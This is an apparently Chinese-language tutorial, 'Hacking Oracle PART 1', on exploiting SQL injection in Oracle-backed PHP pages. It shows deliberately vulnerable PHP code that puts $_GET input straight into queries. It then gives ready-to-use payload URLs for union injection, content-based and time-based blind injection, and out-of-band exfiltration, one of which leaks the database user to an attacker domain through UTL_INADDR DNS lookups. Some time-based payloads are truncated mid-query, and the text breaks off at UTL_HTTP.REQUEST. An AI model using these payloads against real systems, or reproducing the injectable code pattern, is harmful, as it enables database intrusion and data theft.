Hacking Oracle PART 1

<?php   error_reporting(E_ERROR|E_WARNING);   $conn = oci_connect('ztz', 'ztz');   $query = "select * from all_objects where owner = '".$_GET[name]."'";   $stid = oci_parse($conn, $query); oci_execute($stid); $nrows = oci_fetch_all($stid, $res);   echo "$nrows rows fetched<br>/n"; var_dump($res);   oci_free_statement($stid); oci_close($conn);   ?> <?php error_reporting(E_ERROR|E_WARNING); $conn = oci_connect('ztz', 'ztz'); $query = "select * from all_objects where owner = '".$_GET[name]."'"; $stid = oci_parse($conn, $query); oci_execute($stid); $nrows = oci_fetch_all($stid, $res); echo "$nrows rows fetched<br>/n"; var_dump($res); oci_free_statement($stid); oci_close($conn); ?>

无错误回显

并不是每个注入点都会回显错误的，遇到不回显错误的注入点根据情况来使用下面的技巧

联合查询

基于内容的盲注基于时间的盲注带外传输

联合查询

攻击者偏爱这个技巧，因为联合查询直观的显示结果。例如：

http://example.com/vul.php?Name=ztz’ union select user from dual;-- 这个技巧的限制就是两条查询的列数要相同。

基于内容的盲注

在不能直观的看到数据时，攻击者通过逻辑判断和页面的响应内容来进行猜测。http://example.com/vul.php?Name=ztz’ and (select user from dual)=’ztz’;-- ( 返 回 不 同 页 面 ) http://example.com/vul.php?Name=ztz’ and (select user from dual)=’sys’;-- （ 返 回 不 同 页 面 ） http://example.com/vul.php?Name=ztz’ and (select user from dual)=’SCOTT’;-- （返回原始页面） 通过三次请求，攻击者知道当前用户是SCOTT。

基于时间的盲注

看这个代码：

<?php

error_reporting(0);

$conn = oci_connect("scott","tiger",'//192.168.2.11:1521/orcl');

$sql = "INSERT INTO DRAW VALUES ('".$_GET['number']."')";

$stmt = oci_parse($conn,$sql);

Echo "Thank You For Your Submission"; oci_execute($stmt);

?>

不管注入结果如何始终只返回Thank You For Your Submission。攻击者就只好通过请求页面所耗的时间来判断注入结果了。

In other words, the hacker injects a question / guess and if the question is true makes the database delay the response. Unlike SQL Server, where one can inject the “WAITFOR DELAY” command, Oracle does not allow multiple commands and dbms_lock.sleep is not a function in Oracle so you cannot inject it into the statement.

ORACLE与SQL SERVER不同，其没有WAITFOR DELAY，也没有MYSQL的SLEEP()。那就执行一个超耗时的查询，如下： http://example.com/vuln.php?number=2222222'||

(select 1 from dual where (select count(*)from all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)>0 and (select user f

-

目标响应时间30s。

http://example.com/vuln.php?number=2222222'||

(select 1 from dual where (select count(*)from all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)>0 and (select user f

-

目标很快返回页面。

这样通过响应时间的长短知道当前用户为SCOTT。

带外传输

这也是一种通过注入提取信息的方式，只不过信息并不是显示在当前的注入点上，而是显示在某个攻击者控制的服务器或者网络上。下列函数可以完成这个功能。

UTL_INADDR.GET_HOST_ADDRESS UTL_HTTP.REQUEST SYS.DBMS_LDAP.INIT

UTL_INADDR.GET_HOST_ADDRESS

http://192.168.15.136/ora1.php?name=SCOTT’ and (select utl_inaddr.get_host_address((select user from dual)||'.fuzzexp.org') from dual) is not null--

UTL_HTTP.REQUEST